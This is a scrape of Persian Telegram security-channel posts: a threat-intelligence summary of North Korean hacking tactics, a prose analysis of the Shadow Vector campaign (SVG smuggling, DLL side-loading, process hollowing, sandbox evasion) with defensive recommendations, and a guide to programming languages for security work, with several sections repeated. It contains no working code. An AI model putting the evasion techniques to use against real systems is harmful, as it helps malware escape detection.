۴. تاکتیکهای فنی و بدافزاری
در کنار مهندسی اجتماعی، این گروهها از مجموعهای پیشرفته از ابزارها و تکنیکهای فنی برای نفوذ و پنهانکاری بهره میبرند.
* تغییر استراتژی به سمت باجافزار: گروههایی مانند Andariel که زیرمجموعه Lazarus محسوب میشوند، علاوه بر جاسوسی، به طور فزایندهای از باجافزار برای کسب درآمد مستقیم یا به عنوان پوششی برای عملیاتهای مخربتر استفاده میکنند. این یک تغییر استراتژیک از جاسوسی صرف به سمت عملیاتهای مخرب اقتصادی است.
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
* بدافزارهای سفارشی و چندسکویی: این گروهها کتابخانه وسیعی از بدافزارهای اختصاصی خود را توسعه دادهاند که برای سیستمعاملهای مختلف از جمله ویندوز و macOS طراحی شدهاند. این ابزارها شامل تروجانهای دسترسی از راه دور (RATs)، بکدورها و وایپرها (Wipers) میشوند.
* استفاده از آسیبپذیریهای قدیمی (N-Day): در حالی که این گروهها توانایی استفاده از آسیبپذیریهای (Zero-Day) را دارند، اما اغلب به صورت استراتژیک از آسیبپذیریهای شناختهشدهای که هنوز توسط بسیاری از سازمانها وصله (Patch) نشدهاند، بهرهبرداری میکنند. این روش به دلیل هزینه کمتر و مقیاسپذیری بالا، بسیار مؤثر است.
* استخدام کارمندان IT از راه دور: یکی از تاکتیکهای منحصر به فرد آنها، نفوذ دادن نیروهای IT خود به شرکتهای خارجی از طریق دورکاری است. این افراد با هویتهای جعلی و رزومههای ساختگی استخدام شده و از دسترسی داخلی خود برای سرقت دادهها، فعالسازی حملات سایبری و کسب درآمد برای رژیم کره شمالی استفاده میکنند.
اهداف اصلی و نتیجهگیری
عملیات سایبری کره شمالی توسط دو هدف اصلی هدایت میشود:
1. تأمین مالی: به دلیل تحریمهای شدید اقتصادی، حملات سایبری به یک منبع درآمد حیاتی برای این کشور تبدیل شده است. سرقت صدها میلیون دلار از صرافیهای ارز دیجیتال و بانکها، مستقیماً به برنامههای نظامی و هستهای این کشور تزریق میشود.
2. جاسوسی و منافع استراتژیک: جمعآوری اطلاعات از صنایع دفاعی، سازمانهای دولتی و مراکز تحقیقاتی در کشورهای رقیب مانند کره جنوبی، ایالات متحده و ژاپن، یک هدف استراتژیک کلیدی برای پیشبرد اهداف نظامی و سیاسی کره شمالی است.
در نهایت، تاکتیکهای افشا شده نشان میدهد که گروههای هکری کره شمالی بازیگرانی بسیار سازگار، صبور و با انگیزه بالا هستند. آنها به طور مداوم در حال نوآوری و ترکیب روشهای فنی پیچیده با مهندسی اجتماعی هنرمندانه هستند که آنها را به یکی از جدیترین و پایدارترین تهدیدات در چشمانداز امنیت سایبری امروز تبدیل کرده است.
@NullError_ir
* استفاده از آسیبپذیریهای قدیمی (N-Day): در حالی که این گروهها توانایی استفاده از آسیبپذیریهای (Zero-Day) را دارند، اما اغلب به صورت استراتژیک از آسیبپذیریهای شناختهشدهای که هنوز توسط بسیاری از سازمانها وصله (Patch) نشدهاند، بهرهبرداری میکنند. این روش به دلیل هزینه کمتر و مقیاسپذیری بالا، بسیار مؤثر است.
* استخدام کارمندان IT از راه دور: یکی از تاکتیکهای منحصر به فرد آنها، نفوذ دادن نیروهای IT خود به شرکتهای خارجی از طریق دورکاری است. این افراد با هویتهای جعلی و رزومههای ساختگی استخدام شده و از دسترسی داخلی خود برای سرقت دادهها، فعالسازی حملات سایبری و کسب درآمد برای رژیم کره شمالی استفاده میکنند.
اهداف اصلی و نتیجهگیری
عملیات سایبری کره شمالی توسط دو هدف اصلی هدایت میشود:
1. تأمین مالی: به دلیل تحریمهای شدید اقتصادی، حملات سایبری به یک منبع درآمد حیاتی برای این کشور تبدیل شده است. سرقت صدها میلیون دلار از صرافیهای ارز دیجیتال و بانکها، مستقیماً به برنامههای نظامی و هستهای این کشور تزریق میشود.
2. جاسوسی و منافع استراتژیک: جمعآوری اطلاعات از صنایع دفاعی، سازمانهای دولتی و مراکز تحقیقاتی در کشورهای رقیب مانند کره جنوبی، ایالات متحده و ژاپن، یک هدف استراتژیک کلیدی برای پیشبرد اهداف نظامی و سیاسی کره شمالی است.
در نهایت، تاکتیکهای افشا شده نشان میدهد که گروههای هکری کره شمالی بازیگرانی بسیار سازگار، صبور و با انگیزه بالا هستند. آنها به طور مداوم در حال نوآوری و ترکیب روشهای فنی پیچیده با مهندسی اجتماعی هنرمندانه هستند که آنها را به یکی از جدیترین و پایدارترین تهدیدات در چشمانداز امنیت سایبری امروز تبدیل کرده است.
@NullError_ir
کمپین بدافزاری پیشرفته : مسلحسازی فایلهای SVG و SWF برای حملات پنهانکارانه (شروع از کلمبیا)
اخیراً یک کمپین بدافزاری پیچیده و هدفمند، کاربران در کلمبیا را با استفاده از تکنیکهای خلاقانه و پنهانکارانه مورد حمله قرار داده است. این کمپین که با نام Shadow Vector نیز شناخته میشود، با سوءاستفاده از فایلهای گرافیکی (SVG) و فایلهای فلش (SWF)، مکانیزمهای امنیتی سنتی را دور زده و بدافزارهای دسترسی از راه دور (RATs) خطرناکی مانند AsyncRAT و RemcosRAT را بر روی سیستم قربانیان نصب میکند. در تشریح جزئیات این حملات، با تمرکز ویژه بر تکنیکهای پیشرفته فرار از تشخیص (Evasion Techniques) که توسط مهاجمان به کار گرفته شده، با ما باشید.
زنجیره حمله: از ایمیل فیشینگ تا کنترل کامل سیستم
حمله با یک ایمیل فیشینگ هدفمند (Spear-Phishing) آغاز میشود. این ایمیلها با مهندسی اجتماعی دقیق طراحی شده و خود را به عنوان یک ابلاغیه یا اعلان قضایی فوری از سوی نهادهای دولتی کلمبیا جا میزنند. این رویکرد، حس اضطرار و اعتماد را در قربانی القا کرده و او را به باز کردن پیوست ترغیب میکند.
1. پیوست مخرب (SVG) برخلاف حملات رایج که از فایلهای اجرایی یا اسناد آفیس استفاده میکنند، در این کمپین از یک فایل SVG به عنوان پیوست استفاده میشود. فایلهای SVG، که مبتنی بر XML هستند، توسط مرورگرهای وب به عنوان تصویر رندر میشوند. همین ویژگی باعث میشود بسیاری از فیلترهای امنیتی ایمیل، آنها را به عنوان فایلهای بیخطر طبقهبندی کنند.
2. اجرای کد در مرورگر هنگامی که قربانی فایل SVG را باز میکند، این فایل مستقیماً در مرورگر او اجرا میشود. مهاجمان کد مخرب JavaScript را درون تگهای
<noscript> فایل SVG جاسازی کردهاند.3. تکنیک قاچاق (SVG Smuggling) کد جاوا اسکریپت فعال شده، یک فایل آرشیو ZIP رمزگذاری شده (معمولاً حاوی بدافزار) را که به صورت Base64 در خود فایل SVG کدگذاری شده است، بازسازی و رمزگشایی میکند و سپس یک پنجره دانلود را به کاربر نمایش میدهد تا فایل را ذخیره کند. این تکنیک که به "قاچاق SVG" معروف است، به مهاجمان اجازه میدهد تا محموله مخرب را بدون نیاز به دانلود مستقیم از یک سرور خارجی، به سیستم قربانی منتقل کنند.
4. بارگذاری چندمرحلهای فایل ZIP دانلود شده، حاوی ترکیبی از یک فایل اجرایی قانونی و یک فایل DLL مخرب است. با اجرای فایل قانونی، تکنیک DLL Side-Loading فعال شده و به جای DLL اصلی، DLL مخرب بارگذاری و اجرا میشود.
5. نصب بدافزار نهایی در نهایت، این زنجیره منجر به اجرای بدافزارهای خطرناکی مانند AsyncRAT و RemcosRAT میشود. این تروجانهای دسترسی از راه دور، کنترل کامل سیستم قربانی را به مهاجم میدهند و امکان سرقت اطلاعات حساس، کیلاگینگ (ثبت کلیدهای فشرده شده) و حتی اجرای باجافزار را فراهم میآورند.
تکنیکهای فرار از تشخیص: قلب تپنده عملیات
موفقیت این کمپین به شدت به تکنیکهای هوشمندانهای که برای پنهان ماندن از دید ابزارهای امنیتی به کار میگیرد، وابسته است. این تکنیکها نشاندهنده سطح بالای بلوغ فنی و عملیاتی مهاجمان است.
۱. سوءاستفاده از فرمتهای فایل قابل اعتماد (SVG & SWF)
مهاجمان عمداً فرمتهایی را انتخاب کردهاند که کمتر توسط سیستمهای امنیتی به عنوان تهدید شناخته میشوند. SVG به عنوان یک فرمت تصویری، اغلب از بررسیهای دقیق امنیتی عبور میکند. توانایی این فرمت در اجرای کدهای JavaScript، آن را به یک ابزار ایدهآل برای مرحله اولیه نفوذ تبدیل کرده است.
۲. مبهمسازی چندلایه (Multi-Layered Obfuscation)
کدهای JavaScript جاسازی شده در فایل SVG به شدت مبهمسازی شدهاند تا تحلیل ایستا (Static Analysis) را غیرممکن یا بسیار دشوار سازند. این مبهمسازی شامل موارد زیر است:
* کدگذاری Base64: بخشهای اصلی کد و محموله نهایی به صورت رشتههای Base64 کدگذاری میشوند و در لحظه اجرا رمزگشایی میگردند.
* تکنیکهای پلیمورفیک: هر نمونه از فایل SVG توزیعشده، دارای تغییرات جزئی در کد و ساختار است. این تغییرات باعث میشود که امضاهای مبتنی بر فایل (File-based Signatures) کارایی خود را از دست بدهند.
* تزریق کدهای زائد (Garbage Code): مقادیر زیادی کد بیمعنی و زائد به فایل اضافه میشود تا انتروپی فایل را افزایش داده و ابزارهای تحلیل خودکار را به اشتباه بیندازد.
۳. دور زدن کنترل حساب کاربری (UAC Bypass)
پس از نفوذ اولیه، بدافزار برای اجرای عملیات با سطح دسترسی بالاتر، از تکنیکهای شناختهشده برای دور زدن مکانیزم User Account Control (UAC) در ویندوز استفاده میکند. این کار به بدافزار اجازه میدهد تا بدون نمایش هشدارهای امنیتی به کاربر، تغییرات مهمی در سیستم ایجاد کند.
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
۴. تزریق فرآیند (Process Injection)
این تکنیک یکی از کلیدیترین روشهای فرار از تشخیص است. به جای اجرای مستقیم بدافزار به عنوان یک فرآیند مستقل (که به راحتی توسط آنتیویروسها شناسایی میشود)، مهاجمان از روش Process Hollowing استفاده میکنند.
در این روش:
* یک فرآیند قانونی و معتبر سیستمعامل (مانند
* کد مخرب بدافزار به فضای حافظه اختصاصیافته به این فرآیند قانونی تزریق میشود.
* فرآیند از حالت تعلیق خارج شده و اجرای خود را از سر میگیرد، اما این بار کد مخرب را اجرا میکند.
این تکنیک باعث میشود که بدافزار تحت پوشش یک فرآیند معتبر و امضاشده مایکروسافت فعالیت کند و از دید بسیاری از راهکارهای امنیتی مبتنی بر رفتار (Behavioral-based) پنهان بماند.
۵. سوءاستفاده از زیرساختهای عمومی و معتبر
مهاجمان برای میزبانی مراحل بعدی محموله خود (Payloads) از سرویسهای ابری عمومی و معتبر مانند Bitbucket ، Dropbox و GitHub استفاده میکنند. از آنجایی که این دامنهها توسط سازمانها به عنوان منابع قابل اعتماد شناخته میشوند، ترافیک شبکه مرتبط با آنها به ندرت مسدود یا مشکوک تلقی میشود. این امر به بدافزار اجازه میدهد تا به راحتی فایلهای مورد نیاز خود را دانلود کرده و با سرور فرماندهی و کنترل (C2) ارتباط برقرار کند.
۶. تکنیکهای ضد تحلیل (Anti-Analysis)
بدافزار مجهز به مکانیزمهایی برای تشخیص اجرای خود در محیطهای تحلیل مانند ماشینهای مجازی (VM) یا سندباکس (Sandbox) است. در صورت تشخیص چنین محیطهایی، بدافزار رفتار خود را تغییر داده یا به کلی از اجرا خودداری میکند تا از تحلیل و کشف توسط محققان امنیتی جلوگیری نماید.
نتیجهگیری و توصیههای امنیتی
کمپین "Shadow Vector" نمونهای برجسته از تکامل تهدیدات سایبری است که در آن مهاجمان با ترکیب خلاقانه مهندسی اجتماعی، سوءاستفاده از فرمتهای فایل غیرمنتظره و بهکارگیری تکنیکهای پیشرفته فرار از تشخیص، دفاع چندلایه سازمانها را به چالش میکشند. این حمله نشان میدهد که دیگر نمیتوان به تمایز سنتی میان "محتوا" (مانند یک تصویر) و "کد" (یک فایل اجرایی) اعتماد کرد.
برای مقابله با چنین تهدیداتی، سازمانها و اشخاص باید رویکردی جامع و عمیقتر به امنیت اتخاذ کنند:
* آموزش : افزایش آگاهی در مورد حملات فیشینگ پیشرفته و خطرات باز کردن پیوستهای غیرمنتظره، حتی اگر به ظاهر بیخطر باشند.
* فیلترینگ پیشرفته ایمیل: پیادهسازی راهحلهایی که قادر به تحلیل عمیق محتوای فایلهای پیوست، از جمله فایلهای SVG، و شناسایی کدهای جاسازیشده باشند.
* امنیت (Endpoint Security): استفاده از راهکارهای (Endpoint Detection and Response) که قادر به نظارت بر رفتار فرآیندها، شناسایی تکنیکهایی مانند Process Injection و جلوگیری از اجرای کدهای مشکوک در بستر فرآیندهای قانونی هستند.
* تحلیل ترافیک شبکه: نظارت دقیق بر ترافیک خروجی شبکه، حتی به مقاصد معتبر، برای شناسایی الگوهای ارتباطی غیرعادی که میتواند نشانه فعالیت بدافزار باشد.
* مسدودسازی اسکریپتها: در صورت امکان، اجرای اسکریپتها در فایلهای تصویری مانند SVG را از طریق سیاستهای امنیتی مرورگر محدود کنید.
@NullError_ir
این تکنیک یکی از کلیدیترین روشهای فرار از تشخیص است. به جای اجرای مستقیم بدافزار به عنوان یک فرآیند مستقل (که به راحتی توسط آنتیویروسها شناسایی میشود)، مهاجمان از روش Process Hollowing استفاده میکنند.
در این روش:
* یک فرآیند قانونی و معتبر سیستمعامل (مانند
AddInProcess32.exe) در حالت تعلیق (Suspended) ایجاد میشود.* کد مخرب بدافزار به فضای حافظه اختصاصیافته به این فرآیند قانونی تزریق میشود.
* فرآیند از حالت تعلیق خارج شده و اجرای خود را از سر میگیرد، اما این بار کد مخرب را اجرا میکند.
این تکنیک باعث میشود که بدافزار تحت پوشش یک فرآیند معتبر و امضاشده مایکروسافت فعالیت کند و از دید بسیاری از راهکارهای امنیتی مبتنی بر رفتار (Behavioral-based) پنهان بماند.
۵. سوءاستفاده از زیرساختهای عمومی و معتبر
مهاجمان برای میزبانی مراحل بعدی محموله خود (Payloads) از سرویسهای ابری عمومی و معتبر مانند Bitbucket ، Dropbox و GitHub استفاده میکنند. از آنجایی که این دامنهها توسط سازمانها به عنوان منابع قابل اعتماد شناخته میشوند، ترافیک شبکه مرتبط با آنها به ندرت مسدود یا مشکوک تلقی میشود. این امر به بدافزار اجازه میدهد تا به راحتی فایلهای مورد نیاز خود را دانلود کرده و با سرور فرماندهی و کنترل (C2) ارتباط برقرار کند.
۶. تکنیکهای ضد تحلیل (Anti-Analysis)
بدافزار مجهز به مکانیزمهایی برای تشخیص اجرای خود در محیطهای تحلیل مانند ماشینهای مجازی (VM) یا سندباکس (Sandbox) است. در صورت تشخیص چنین محیطهایی، بدافزار رفتار خود را تغییر داده یا به کلی از اجرا خودداری میکند تا از تحلیل و کشف توسط محققان امنیتی جلوگیری نماید.
نتیجهگیری و توصیههای امنیتی
کمپین "Shadow Vector" نمونهای برجسته از تکامل تهدیدات سایبری است که در آن مهاجمان با ترکیب خلاقانه مهندسی اجتماعی، سوءاستفاده از فرمتهای فایل غیرمنتظره و بهکارگیری تکنیکهای پیشرفته فرار از تشخیص، دفاع چندلایه سازمانها را به چالش میکشند. این حمله نشان میدهد که دیگر نمیتوان به تمایز سنتی میان "محتوا" (مانند یک تصویر) و "کد" (یک فایل اجرایی) اعتماد کرد.
برای مقابله با چنین تهدیداتی، سازمانها و اشخاص باید رویکردی جامع و عمیقتر به امنیت اتخاذ کنند:
* آموزش : افزایش آگاهی در مورد حملات فیشینگ پیشرفته و خطرات باز کردن پیوستهای غیرمنتظره، حتی اگر به ظاهر بیخطر باشند.
* فیلترینگ پیشرفته ایمیل: پیادهسازی راهحلهایی که قادر به تحلیل عمیق محتوای فایلهای پیوست، از جمله فایلهای SVG، و شناسایی کدهای جاسازیشده باشند.
* امنیت (Endpoint Security): استفاده از راهکارهای (Endpoint Detection and Response) که قادر به نظارت بر رفتار فرآیندها، شناسایی تکنیکهایی مانند Process Injection و جلوگیری از اجرای کدهای مشکوک در بستر فرآیندهای قانونی هستند.
* تحلیل ترافیک شبکه: نظارت دقیق بر ترافیک خروجی شبکه، حتی به مقاصد معتبر، برای شناسایی الگوهای ارتباطی غیرعادی که میتواند نشانه فعالیت بدافزار باشد.
* مسدودسازی اسکریپتها: در صورت امکان، اجرای اسکریپتها در فایلهای تصویری مانند SVG را از طریق سیاستهای امنیتی مرورگر محدود کنید.
@NullError_ir
زبانهای برنامهنویسی برای امنیت سایبری
نکته : ترتیب و شماره گذاری دلیل ارجحیت زبان های برنامه نویسی بر یکدیگر نیست
امنیت سایبری دیگر یک انتخاب نیست، بلکه یک ضرورت است. با افزایش روزافزون تهدیدات دیجیتال، تقاضا برای متخصصان ماهر امنیت سایبری به شدت افزایش یافته است. یکی از مهارتهای کلیدی در این حوزه، تسلط بر زبانهای برنامهنویسی است. اما با وجود گزینههای متعدد، کدام زبان برای یک متخصص امنیت سایبری بهترین انتخاب است؟
این راهنما به شما کمک میکند تا با زبانهای برنامهنویسی برای امنیت سایبری در مقطع کنونی و کاربردهایشان آشنا شوید.
چرا متخصصان امنیت سایبری به برنامهنویسی نیاز دارند؟
* فرایندها را خودکار کنند: اسکریپتنویسی برای خودکارسازی وظایف تکراری مانند اسکن شبکه، تحلیل لاگها و شناسایی ناهنجاریها، کارایی را به شدت بالا میبرد.
* ابزارهای سفارشی بسازند: گاهی ابزارهای موجود برای یک نیاز خاص کافی نیستند. توانایی ساخت ابزارهای سفارشی برای تست نفوذ، تحلیل بدافزار یا فارنزیک دیجیتال یک مزیت بزرگ است.
* کدهای مخرب را درک و تحلیل کنند: برای مقابله با بدافزارها، ابتدا باید بتوانید کد آنها را درک، مهندسی معکوس و تحلیل کنید.
* آسیبپذیریها را در کد منبع پیدا کنند: با بررسی کد منبع (Source Code Review)، میتوان آسیبپذیریها را قبل از آنکه توسط مهاجمان اکسپلویت شوند، شناسایی و رفع کرد.
* حملات را شبیهسازی کنند: ساخت اسکریپتها و برنامههایی برای شبیهسازی حملات (مانند حملات فیشینگ یا اسکریپتنویسی بین سایتی - XSS) به درک بهتر مکانیزمهای دفاعی کمک میکند.
انتخاب زبان برنامهنویسی مناسب به حوزه تخصصی شما در امنیت سایبری بستگی دارد. در ادامه، بهترین زبانها بر اساس کاربردشان دستهبندی شدهاند.
۱۔ پایتون (Python): پادشاه بیچونوچرای امنیت سایبری
پایتون به دلیل سادگی، خوانایی بالا و کتابخانههای قدرتمند و گسترده، محبوبترین زبان در میان متخصصان امنیت سایبری است.
* کاربردها:
* خودکارسازی وظایف (Automation): کتابخانههایی مانند
os , subprocess و shutil برای خودکارسازی وظایف امنیتی ایدهآل هستند.* تست نفوذ (Penetration Testing): ابزارهای معروفی مانند
Scapy (برای دستکاری پکتهای شبکه) ، Requests (برای تعامل با وبسرویسها) و BeautifulSoup (برای وب اسکرپینگ) همگی مبتنی بر پایتون هستند.* تحلیل بدافزار (Malware Analysis): کتابخانههایی چون
Pydbg و Volatility به تحلیل رفتار بدافزارها کمک میکنند.* اسکن شبکه: ساخت اسکنرهای پورت و شبکه با استفاده از سوکتهای پایتون بسیار ساده است.
* چرا پایتون؟
* یادگیری آسان: سینتکس ساده و نزدیک به زبان انگلیسی، آن را به گزینهای عالی برای مبتدیان تبدیل کرده است.
* جامعه بزرگ و پشتیبانی قوی: هزاران کتابخانه و فریمورک آماده برای امنیت سایبری وجود دارد و جامعه کاربری بزرگی برای حل مشکلات در دسترس است.
* چندمنظوره بودن: از توسعه وب تا یادگیری ماشین و امنیت سایبری، پایتون در همه جا کاربرد دارد.
۲۔ جاوا اسکریپت (JavaScript): زبان وب و امنیت آن
با توجه به اینکه اکثر حملات مدرن از طریق وباپلیکیشنها انجام میشود، تسلط بر جاوا اسکریپت برای هر متخصص امنیت وب ضروری است.
* کاربردها:
* امنیت سمت کلاینت (Client-Side Security): درک نحوه عملکرد جاوا اسکریپت در مرورگر به شناسایی و مقابله با حملاتی مانند Cross-Site Scripting (XSS) و Cross-Site Request Forgery (CSRF) کمک میکند.
* تحلیل کدهای مخرب: بسیاری از اسکریپتهای مخرب که در وبسایتها تزریق میشوند، با جاوا اسکریپت نوشته شدهاند.
* توسعه ابزارهای تست نفوذ وب: فریمورک
Node.js به متخصصان اجازه میدهد تا ابزارهای قدرتمندی برای اسکن وبسایتها و خودکارسازی حملات شبیهسازیشده بسازند.* چرا جاوا اسکریپت؟
* فراگیری: تقریباً تمام وبسایتهای مدرن از جاوا اسکریپت استفاده میکنند.
* قدرت در سمت سرور: با
Node.js ، جاوا اسکریپت به یک زبان قدرتمند برای توسعه ابزارهای شبکهای و سمت سرور تبدیل شده است.* جامعه فعال: ابزارها و فریمورکهای بیشماری مانند
JSHint و ESLint برای تحلیل و امنسازی کد جاوا اسکریپت وجود دارند.۳۔ Bash/PowerShell: زبانهای فرمان برای سیستمعاملها
این دو زبان اسکریپتنویسی، ابزارهای اصلی برای تعامل مستقیم با سیستمعاملهای لینوکس (Bash) و ویندوز (PowerShell) هستند.
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
* ۔Bash (Bourne Again SHell):
* کاربردها: مدیریت سیستمهای لینوکسی، خودکارسازی وظایف مدیریت سرور، تحلیل لاگها، و نوشتن اسکریپتهای ساده برای تست نفوذ. ابزارهای خط فرمان قدرتمند لینوکس مانند
* چرا Bash؟ زبان استاندارد شل در تمام توزیعهای لینوکس و macOS است و برای هر ادمین سیستم یا متخصص امنیتی که با این سیستمها کار میکند، ضروری است.
* ۔PowerShell:
* کاربردها: ابزار اصلی مایکروسافت برای خودکارسازی و مدیریت سیستمعامل ویندوز. PowerShell به رجیستری ویندوز، WMI (Windows Management Instrumentation) و .NET Framework دسترسی کامل دارد و برای فارنزیک دیجیتال، مدیریت سیاستهای امنیتی و پاسخ به حوادث در محیطهای ویندوزی بسیار قدرتمند است.
* چرا PowerShell؟ برای هر متخصص امنیتی که در اکوسیستم مایکروسافت فعالیت میکند، یادگیری PowerShell یک الزام است.
۴۔ ++C/C : زبانهای سطح پایین برای تحلیل عمیق
این دو زبان به دلیل عملکرد بالا و دسترسی سطح پایین به حافظه، برای تحلیل بدافزار، مهندسی معکوس و توسعه نرمافزارهای امنیتی با کارایی بالا استفاده میشوند.
* کاربردها:
* مهندسی معکوس (Reverse Engineering): بسیاری از نرمافزارها و بدافزارها با ++C/C نوشته شدهاند. برای درک عملکرد آنها در سطح باینری، آشنایی با این زبانها ضروری است.
* تحلیل آسیبپذیریهای حافظه: آسیبپذیریهای کلاسیک مانند سرریز بافر (Buffer Overflow) و Use-After-Free در کدهایی که با این زبانها نوشته شدهاند رایج هستند.
* توسعه روتکیتها و اکسپلویتها: مهاجمان از این زبانها برای نوشتن کدهای مخرب سطح پایین استفاده میکنند و مدافعان نیز برای درک و مقابله با آنها به این دانش نیاز دارند.
* چرا ++C/C ؟
* کنترل کامل بر منابع سیستم: دسترسی مستقیم به حافظه و سختافزار، آنها را برای کارهای بسیار دقیق و حساس به عملکرد ایدهآل میسازد.
* بنیاد و اساس سیستمعاملها: هسته سیستمعاملهای ویندوز و لینوکس با C نوشته شده است.
۵۔ SQL: زبان تعامل با پایگاهداده
اگرچه SQL یک زبان برنامهنویسی کامل نیست، اما برای امنیت سایبری حیاتی است. تقریباً تمام اپلیکیشنها از پایگاه داده برای ذخیره اطلاعات حساس (نام کاربری، رمز عبور، اطلاعات مشتریان) استفاده میکنند.
* کاربردها:
* شناسایی و جلوگیری از حملات تزریق SQL (SQL Injection): این حمله یکی از رایجترین و مخربترین حملات وب است. متخصص امنیت باید بداند چگونه یک کوئری SQL مخرب ساخته میشود تا بتواند از آن جلوگیری کند.
* فارنزیک پایگاه داده: استخراج و تحلیل دادهها از پایگاه دادههای آسیبدیده برای تحقیق در مورد یک نشت اطلاعاتی.
* تست امنیت پایگاه داده: بررسی تنظیمات امنیتی، کنترل دسترسیها و رمزنگاری دادهها در پایگاه داده.
* چرا SQL ؟
* فراگیری: تقریباً تمام سیستمهای مدیریت پایگاه داده (MySQL, PostgreSQL, SQL Server, Oracle) از SQL استفاده میکنند.
* اهمیت دادهها: حفاظت از دادهها هسته اصلی امنیت اطلاعات است و SQL زبان اصلی تعامل با این دادههاست.
زبانهای دیگر که ارزش یادگیری دارند
۔ Go (Golang): این زبان که توسط گوگل توسعه داده شده، به دلیل کارایی بالا، سادگی در برنامهنویسی همزمان (Concurrency) و کامپایل شدن به یک فایل باینری واحد، برای توسعه ابزارهای شبکهای و امنیتی مدرن بسیار محبوب شده است.
۔ PHP: اگرچه محبوبیت آن کاهش یافته، اما هنوز میلیونها وبسایت (مانند وردپرس) با PHP کار میکنند. درک PHP برای تحلیل و امنسازی این سیستمها ضروری است.
۔ Ruby: عمدتاً به دلیل فریمورک قدرتمند Metasploit (که با Ruby نوشته شده) در میان متخصصان تست نفوذ محبوب است.
پس زبان Rust چه میشود؟ چرا نادیده گرفته می شود؟
غیبت Rust در لیست بالا یک چشمپوشی قابل توجه است، به خصوص وقتی صحبت از آینده امنیت سایبری باشد. Rust به سرعت در حال تبدیل شدن به یکی از مهمترین زبانها برای نوشتن نرمافزارهای امن است.
* کاربردها: مدیریت سیستمهای لینوکسی، خودکارسازی وظایف مدیریت سرور، تحلیل لاگها، و نوشتن اسکریپتهای ساده برای تست نفوذ. ابزارهای خط فرمان قدرتمند لینوکس مانند
grep , awk , sed , nmap , netcat و tcpdump همگی از طریق Bash قابل کنترل و اسکریپتنویسی هستند.* چرا Bash؟ زبان استاندارد شل در تمام توزیعهای لینوکس و macOS است و برای هر ادمین سیستم یا متخصص امنیتی که با این سیستمها کار میکند، ضروری است.
* ۔PowerShell:
* کاربردها: ابزار اصلی مایکروسافت برای خودکارسازی و مدیریت سیستمعامل ویندوز. PowerShell به رجیستری ویندوز، WMI (Windows Management Instrumentation) و .NET Framework دسترسی کامل دارد و برای فارنزیک دیجیتال، مدیریت سیاستهای امنیتی و پاسخ به حوادث در محیطهای ویندوزی بسیار قدرتمند است.
* چرا PowerShell؟ برای هر متخصص امنیتی که در اکوسیستم مایکروسافت فعالیت میکند، یادگیری PowerShell یک الزام است.
۴۔ ++C/C : زبانهای سطح پایین برای تحلیل عمیق
این دو زبان به دلیل عملکرد بالا و دسترسی سطح پایین به حافظه، برای تحلیل بدافزار، مهندسی معکوس و توسعه نرمافزارهای امنیتی با کارایی بالا استفاده میشوند.
* کاربردها:
* مهندسی معکوس (Reverse Engineering): بسیاری از نرمافزارها و بدافزارها با ++C/C نوشته شدهاند. برای درک عملکرد آنها در سطح باینری، آشنایی با این زبانها ضروری است.
* تحلیل آسیبپذیریهای حافظه: آسیبپذیریهای کلاسیک مانند سرریز بافر (Buffer Overflow) و Use-After-Free در کدهایی که با این زبانها نوشته شدهاند رایج هستند.
* توسعه روتکیتها و اکسپلویتها: مهاجمان از این زبانها برای نوشتن کدهای مخرب سطح پایین استفاده میکنند و مدافعان نیز برای درک و مقابله با آنها به این دانش نیاز دارند.
* چرا ++C/C ؟
* کنترل کامل بر منابع سیستم: دسترسی مستقیم به حافظه و سختافزار، آنها را برای کارهای بسیار دقیق و حساس به عملکرد ایدهآل میسازد.
* بنیاد و اساس سیستمعاملها: هسته سیستمعاملهای ویندوز و لینوکس با C نوشته شده است.
۵۔ SQL: زبان تعامل با پایگاهداده
اگرچه SQL یک زبان برنامهنویسی کامل نیست، اما برای امنیت سایبری حیاتی است. تقریباً تمام اپلیکیشنها از پایگاه داده برای ذخیره اطلاعات حساس (نام کاربری، رمز عبور، اطلاعات مشتریان) استفاده میکنند.
* کاربردها:
* شناسایی و جلوگیری از حملات تزریق SQL (SQL Injection): این حمله یکی از رایجترین و مخربترین حملات وب است. متخصص امنیت باید بداند چگونه یک کوئری SQL مخرب ساخته میشود تا بتواند از آن جلوگیری کند.
* فارنزیک پایگاه داده: استخراج و تحلیل دادهها از پایگاه دادههای آسیبدیده برای تحقیق در مورد یک نشت اطلاعاتی.
* تست امنیت پایگاه داده: بررسی تنظیمات امنیتی، کنترل دسترسیها و رمزنگاری دادهها در پایگاه داده.
* چرا SQL ؟
* فراگیری: تقریباً تمام سیستمهای مدیریت پایگاه داده (MySQL, PostgreSQL, SQL Server, Oracle) از SQL استفاده میکنند.
* اهمیت دادهها: حفاظت از دادهها هسته اصلی امنیت اطلاعات است و SQL زبان اصلی تعامل با این دادههاست.
زبانهای دیگر که ارزش یادگیری دارند
۔ Go (Golang): این زبان که توسط گوگل توسعه داده شده، به دلیل کارایی بالا، سادگی در برنامهنویسی همزمان (Concurrency) و کامپایل شدن به یک فایل باینری واحد، برای توسعه ابزارهای شبکهای و امنیتی مدرن بسیار محبوب شده است.
۔ PHP: اگرچه محبوبیت آن کاهش یافته، اما هنوز میلیونها وبسایت (مانند وردپرس) با PHP کار میکنند. درک PHP برای تحلیل و امنسازی این سیستمها ضروری است.
۔ Ruby: عمدتاً به دلیل فریمورک قدرتمند Metasploit (که با Ruby نوشته شده) در میان متخصصان تست نفوذ محبوب است.
پس زبان Rust چه میشود؟ چرا نادیده گرفته می شود؟
غیبت Rust در لیست بالا یک چشمپوشی قابل توجه است، به خصوص وقتی صحبت از آینده امنیت سایبری باشد. Rust به سرعت در حال تبدیل شدن به یکی از مهمترین زبانها برای نوشتن نرمافزارهای امن است.
Mr. SAM
* ۔Bash (Bourne Again SHell): * کاربردها: مدیریت سیستمهای لینوکسی، خودکارسازی وظایف مدیریت سرور، تحلیل لاگها، و نوشتن اسکریپتهای ساده برای تست نفوذ. ابزارهای خط فرمان قدرتمند لینوکس مانند grep , awk , sed , nmap , netcat و tcpdump همگی از طریق Bash…
امنیت حافظه (Memory Safety): بزرگترین مزیت Rust این است که کامپایلر آن از بروز دستههای کاملی از آسیبپذیریهای مرتبط با حافظه مانند سرریز بافر (Buffer Overflows)، Use-After-Free، و Null Pointer Dereferences به طور خودکار جلوگیری میکند. اینها همان آسیبپذیریهایی هستند که دهههاست در نرمافزارهای نوشته شده با ++C/C باعث بحرانهای امنیتی بزرگ شدهاند.
